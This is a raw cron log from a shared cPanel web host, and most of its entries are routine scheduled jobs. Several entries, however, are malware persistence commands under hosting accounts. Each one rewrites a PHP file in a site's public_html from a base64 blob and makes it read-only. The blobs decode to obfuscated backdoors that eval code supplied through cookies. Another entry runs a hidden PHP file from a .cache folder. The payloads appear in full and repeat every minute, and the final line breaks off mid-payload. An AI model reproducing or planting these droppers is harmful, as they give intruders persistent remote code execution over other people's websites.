Apr 19 04:00:02 medusa CROND[19372]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19373]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:00:02 medusa CROND[19368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 04:00:02 medusa CROND[19382]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:00:02 medusa CROND[19364]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 19 04:00:02 medusa CROND[19365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:00:02 medusa CROND[19392]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19399]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:00:02 medusa CROND[19400]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:00:02 medusa CROND[19406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19410]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:00:02 medusa CROND[19408]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:00:02 medusa CROND[19412]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:00:02 medusa CROND[19413]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 04:00:02 medusa CROND[19415]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 04:00:02 medusa CROND[19403]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:00:02 medusa CROND[19393]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 04:00:02 medusa CROND[19394]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:01:02 medusa CROND[11044]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:01:02 medusa CROND[11081]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:01:02 medusa CROND[11082]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:01:02 medusa CROND[11083]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:01:02 medusa CROND[11084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:01:02 medusa CROND[11085]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:01:02 medusa CROND[11088]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:01:02 medusa CROND[11090]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:01:02 medusa CROND[11095]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:01:02 medusa CROND[11096]: (root) CMD (run-parts /etc/cron.hourly)
Apr 19 04:01:02 medusa CROND[11102]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:01:02 medusa CROND[11103]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:01:02 medusa CROND[11104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:01:02 medusa run-parts(/etc/cron.hourly)[11096]: starting 0anacron
Apr 19 04:01:02 medusa CROND[11099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:01:02 medusa run-parts(/etc/cron.hourly)[11137]: finished 0anacron
Apr 19 04:02:01 medusa CROND[2534]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:02:02 medusa CROND[2611]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:02:02 medusa CROND[2612]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:02:02 medusa CROND[2614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:02:02 medusa CROND[2615]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:02:02 medusa CROND[2618]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:02:02 medusa CROND[2619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:02:02 medusa CROND[2616]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSk